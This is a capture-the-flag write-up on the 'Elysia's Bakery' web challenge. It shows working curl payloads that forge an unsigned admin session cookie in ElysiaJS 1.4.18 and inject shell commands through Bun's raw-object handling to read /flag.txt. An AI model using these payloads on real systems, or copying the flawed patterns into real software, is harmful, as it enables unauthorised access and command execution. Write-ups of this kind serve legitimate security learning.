Elysias Bakery

Bitskrieg CTFby smothy

Elysia's Bakery - Web

Points: 498 | Flag: BITSCTF{89e1345e28f35da7f5f74dd1afa46844} | Solved by: Smothy @ 0xN1umb

cookie time

what we got

ElysiaJS web app pinned to v1.4.18 running on Bun. basic notes app - signup, login, CRUD notes. theres an admin-only /admin/list endpoint that runs ls on a user-supplied folder using bun's $ shell template. flag sitting at /flag.txt in the container.

the challenge description just says: "Becoming admin shouldn't be too hard?"

source code provided - lets look at the important bits:

typescript
// cookie config - signed cookies
const app = new Elysia({
  cookie: {
    secrets: [Bun.env.SECRET_KEY || "super_secret_key"],
    sign: ["session"],
  },
})
typescript
// admin endpoint - the prize
.post("/admin/list", async ({ cookie: { session }, body }) => {
    const data = getSessionData(session);
    if (!data) return status(401, "Unauthorized");
    if (!data.isAdmin) return status(403, "Forbidden");

    const folder = (body as any).folder;
    if (typeof folder === "string" && folder.includes("..")) {
      return status(400, "Invalid folder path");
    }
    const result = $`ls ${folder}`.quiet();
    const output = await result.text();
    const files = output.split("\n").filter(Boolean);
    return { files };
})

so two problems to solve:

  1. become admin (session cookie is signed, admin password is randomized by instancer)
  2. read /flag.txt (endpoint only runs ls, not cat)

the solve

two framework-level vulns chained together. ngl this was clean af

im in

elysia has this hilarious bug in cookie signature verification. the decoded variable starts as true BEFORE actually verifying anything:

typescript
let decoded = true;  // lmao already true

for (const secret of secrets) {
    const result = unsignCookie(value, secret);
    if (result.valid) {
        decoded = true;  // redundant, was already true
        value = result.unsigned;
        break;
    }
}

if (!decoded) throw new InvalidCookieSignature(name);
// ^^^ this NEVER fires because decoded starts as true and is never set to false

so the signature check is literally dead code. any cookie value passes verification, signed or not. fixed in 1.4.19 where they changed it to let decoded = false.

first i registered a test user and logged in to confirm the cookie format:

set-cookie: session=testuser123.wseh3VBd%2FSlLRT7oN1e0h0lOf4%2FJQyBZ3gz0ldomLi0

format is {value}.{hmac_signature}. tried to verify with default secret super_secret_key - nope, instancer randomizes it. doesn't matter tho because the signature check is broken anyway.

just set the cookie to admin with no signature at all:

bash
curl -s "http://chals.bitskrieg.in:34605/admin/list" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=admin" \
  -d '{"folder": "/"}'
json
{"files":["opt","media","tmp","boot","proc","lib64","lib","home","mnt","dev","root","var","sbin","sys","bin","usr","etc","run","srv","flag.txt","app"]}

we're admin. can see flag.txt in root. now we need to read it.

vuln 2: bun shell injection via $.raw() duck typing

the admin endpoint runs $ls ${folder}.quiet(). bun's $ tagged template is supposed to be injection-safe - it escapes all interpolated values. tried all the classics:

bash
# all of these get properly escaped by bun's shell
{"folder": ["; cat /flag.txt"]}     # -> ls '; cat /flag.txt'
{"folder": ["$(cat /flag.txt)"]}    # -> ls '$(cat /flag.txt)'
{"folder": ["`cat /flag.txt`"]}     # -> ls '`cat /flag.txt`'
{"folder": ["| cat /flag.txt"]}     # -> ls '| cat /flag.txt'

all treated as literal filenames. bun's shell escaping is solid for strings and arrays.

BUT here's the thing - bun's shell has $.raw() which creates unescaped shell expressions. and bun uses duck typing to detect them. meaning if your value is any object with a raw property, bun treats the value as raw unescaped shell text.

the .. check only triggers for strings (typeof folder === "string"), so objects bypass it completely:

bash
curl -s "http://chals.bitskrieg.in:34605/admin/list" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=admin" \
  -d '{"folder": {"raw": "; cat /flag.txt"}}'

bun sees folder has a .raw property, treats it as a raw shell expression, and injects ; cat /flag.txt directly without escaping. the shell command becomes ls ; cat /flag.txt - two commands.

json
{"files":["notes","public","src","node_modules","bun.lock","package.json","BITSCTF{89e1345e28f35da7f5f74dd1afa46844}"]}

also works with pipe:

bash
-d '{"folder": {"raw": "| cat /flag.txt"}}'
json
{"files":["BITSCTF{89e1345e28f35da7f5f74dd1afa46844}"]}

tl;dr exploit

bash
# one curl to rule them all
curl -s "http://instance:port/admin/list" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=admin" \
  -d '{"folder": {"raw": "| cat /flag.txt"}}'

thats it. one request. cookie bypass + shell injection.

why elysia 1.4.18 specifically?

the challenge pins this exact version because its the sweet spot:

  • 1.4.16 and below: prototype pollution via mergeDeep (CVE-2025-66456) - could chain to RCE
  • 1.4.17: prototype pollution fixed
  • 1.4.18: cookie config injection fixed (CVE-2025-66457), but cookie signature bypass still present
  • 1.4.19: cookie signature bypass finally fixed

so 1.4.18 is the only version where the cookie bypass is the ONLY way in. beautiful challenge design fr

flag

BITSCTF{89e1345e28f35da7f5f74dd1afa46844}


smothy out ✌️